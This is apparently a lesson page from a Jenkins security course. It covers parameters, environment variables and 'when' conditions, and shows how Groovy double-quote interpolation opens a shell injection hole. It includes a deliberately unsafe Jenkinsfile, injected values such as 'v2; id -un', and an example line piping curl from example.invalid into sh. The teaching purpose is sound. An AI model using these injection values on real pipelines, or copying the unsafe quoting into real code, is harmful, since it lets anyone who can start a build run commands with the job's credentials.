Environment, parameters and when

Configure a pipeline without opening a shell injection hole.

Intermediate13 min · lesson 6 of 15
Lesson files
The scripts, test data and local test servers this lesson uses, exactly as they ran on the lab machine (19 files, 7 KB): envparams.tar.gz. The lab VM shares no folders with your computer, so fetch them inside the VM: cd ~/lab && curl -fsSLO https://secopslog.com/lab-files/ci-jenkins/envparams.tar.gz && tar -xzf envparams.tar.gz, which creates ~/lab/envparams/. SHA-256: 0b4a16adff1f227ef33a4e1a1afcf69636f6dcd4d7fda86039a08d78eeed0595

A team adds a "version to release" text box to its Jenkins job so release managers can type v2.3. One day someone pastes v2.3; curl https://example.invalid/x | sh into that box, and the agent runs it with every credential the job can reach. The box looked like configuration, but it was a way to run commands. This lesson covers the ways a pipeline gets its settings, and how quoting decides whether a value stays a value.

Environment, parameters and when

app/Jenkinsfile
pipeline {
agent { label 'linux' }
parameters {
choice(name: 'TARGET', choices: ['staging', 'production'], description: 'Where to deploy')
booleanParam(name: 'DEPLOY', defaultValue: false, description: 'Run the deploy stage')
}
environment {
APP = 'demo'
IMAGE_TAG = "${env.BUILD_NUMBER}"
}
stages {
stage('Build') {
steps { sh 'echo "building $APP:$IMAGE_TAG"' }
}
stage('Deploy') {
when { expression { params.DEPLOY } }
steps { sh 'echo "deploying $APP:$IMAGE_TAG to $TARGET (DEPLOY is the text $DEPLOY)"' }
}
stage('Production check') {
when {
allOf {
expression { params.DEPLOY }
expression { params.TARGET == 'production' }
}
}
steps { echo 'running the production smoke test' }
}
}
}

environment sets variables for every step in the pipeline. parameters declares inputs a person or API call can supply when starting a build. when decides whether a stage runs at all. One thing to know up front: Jenkins learns a job's parameters by running the Jenkinsfile, so a brand-new job has none until a first build has run, and that first build uses the defaults.

ubuntu@secopslog-cicd:~/lab/envparams · Jenkins 2.580.2
$ ./up.sh
agent lab-agent: online Jenkins 2.580.2 is up on http://127.0.0.1:8080
$ ./seed.sh app app/ && ./newjob.sh deploy app && ./newjob.sh release app Jenkinsfile.unsafe
pushed app: c820fad first commit job deploy reads Jenkinsfile from git://git/app.git job release reads Jenkinsfile.unsafe from git://git/app.git
$ ./run-job.sh deploy
Started by user admin Running on lab-agent in /home/jenkins/agent/workspace/deploy + echo building demo:1 building demo:1 Stage "Deploy" skipped due to when conditional Stage "Production check" skipped due to when conditional Finished: SUCCESS build #1 result: SUCCESS

With defaults, DEPLOY is false, so the when conditions skip both later stages, and Jenkins says so in the console. Now start builds with values:

ubuntu@secopslog-cicd:~/lab/envparams · Jenkins 2.580.2
$ ./run-job.sh deploy DEPLOY=true
Started by user admin Running on lab-agent in /home/jenkins/agent/workspace/deploy + echo building demo:2 building demo:2 + echo deploying demo:2 to staging (DEPLOY is the text true) deploying demo:2 to staging (DEPLOY is the text true) Stage "Production check" skipped due to when conditional Finished: SUCCESS build #2 result: SUCCESS
$ ./run-job.sh deploy DEPLOY=true TARGET=production
Started by user admin Running on lab-agent in /home/jenkins/agent/workspace/deploy + echo building demo:3 building demo:3 + echo deploying demo:3 to production (DEPLOY is the text true) deploying demo:3 to production (DEPLOY is the text true) running the production smoke test Finished: SUCCESS build #3 result: SUCCESS

Parameters arrive as environment variables too, which is why the shell can read $TARGET. They arrive as text: in Groovy params.DEPLOY is a real boolean, but the shell sees the string true, so a script tests it with [ "$DEPLOY" = true ]. The Production check stage ran only when both expressions were true. allOf, anyOf and not let you combine conditions without writing Groovy logic.

A choice parameter gives a closed list. Try a value outside it:

ubuntu@secopslog-cicd:~/lab/envparams · Jenkins 2.580.2
$ ./run-job.sh deploy TARGET=moon 2>&1 | tail -3
curl: (22) The requested URL returned error: 500

Jenkins refused to start the build at all, with an HTTP error. A closed list is a real validation step, so prefer choice to string whenever you can list the options in advance.

A parameter that runs commands

The next pipeline looks harmless. Its two stages seem to do the same thing, and the only difference is the type of quotes:

app/Jenkinsfile.unsafe
pipeline {
agent { label 'linux' }
parameters { string(name: 'RELEASE', defaultValue: 'v1') }
stages {
stage('Unsafe') { steps { sh "echo releasing ${params.RELEASE}" } }
stage('Safe') { steps { sh 'echo releasing "$RELEASE"' } }
}
}

Run it once so Jenkins learns the parameter, then start it with a value that contains a semicolon:

ubuntu@secopslog-cicd:~/lab/envparams · Jenkins 2.580.2
$ ./run-job.sh release > /dev/null; echo parameters registered
parameters registered
$ ./run-job.sh release 'RELEASE=v2; id -un'
Started by user admin Running on lab-agent in /home/jenkins/agent/workspace/release + echo releasing v2 releasing v2 + id -un jenkins + echo releasing v2; id -un releasing v2; id -un Finished: SUCCESS build #2 result: SUCCESS
$ ./down.sh
lab stopped and its data removed

The Unsafe stage ran id -un and printed jenkins. The Safe stage printed the value as plain text. The difference is who expands the variable:

Who expands the value
A parameter value
v2; id -un
double quotes
Groovy expands it first
the shell receives echo releasing v2; id -un and sees two commands
single quotes
The shell expands it
"$RELEASE" is one word, so ; is only a character
The same applies to anything from outside: branch names, commit messages, PR titles.

The rule: pass outside values to sh in single-quoted Groovy strings, and quote the variable in the shell. The Groovy "${...}" form is safe only for values you fully control. In this lesson the attacker is anyone allowed to start a build, and in a multibranch setup a branch name can reach a step the same way.

Watch out
Parameters aren't for secrets. Their values appear in the build's page and API. Use a credential ID instead, as the "Credentials, masking and scope" lesson shows.

Hands-on

In a fresh lab, add a string parameter named NOTE to app/Jenkinsfile.unsafe and print it safely with sh 'printf "%s\n" "$NOTE"'. Push, run once, then run with 'NOTE=$(id -un) && true'. Confirm the text prints literally. Then change it to double quotes and ${params.NOTE}, and run it again. Finish with ./down.sh. Both versions of the file are in solutions/ if you want to compare.

What you should see: with single quotes, the shell prints the text $(id -un) && true unchanged. With double quotes and ${params.NOTE}, Groovy puts the value into the command before the shell runs, and the output is jenkins, the account the build runs as.

Remember

Single quotes around the Groovy string, double quotes around the shell variable: sh 'echo "$RELEASE"'. Prefer a choice list when you can list the values.

Quick check
01You add a string parameter to a Jenkinsfile on a new job and immediately call buildWithParameters with a value. It fails. Why?
Incorrect — No approval is involved in declaring a parameter.
Incorrect — It accepts string parameters; the lab used one.
Correct — Until a build has run, the job has no parameters, so run it once first.
Incorrect — The lab used uppercase names on the same API.
02Which line is safe when BRANCH holds a value an outside contributor chose?
Correct — Groovy leaves the single-quoted string alone, and the shell treats the quoted variable as one word.
Incorrect — Groovy expands it first, so the shell can see metacharacters as syntax.
Incorrect — A value containing a single quote closes this quoting, so it is still injectable.
Incorrect — No Groovy expansion, but the shell still splits the unquoted variable into words and expands globs.
03What does when { expression { params.DEPLOY } } do when the condition is false?
Incorrect — The build in the lab stayed SUCCESS.
Correct — The console says skipped due to when conditional, and later stages still run.
Incorrect — Declarative pipelines have no dry-run mode. The steps do not run.
Incorrect — Parameters are fixed when the build starts, so nothing would ever change.

Related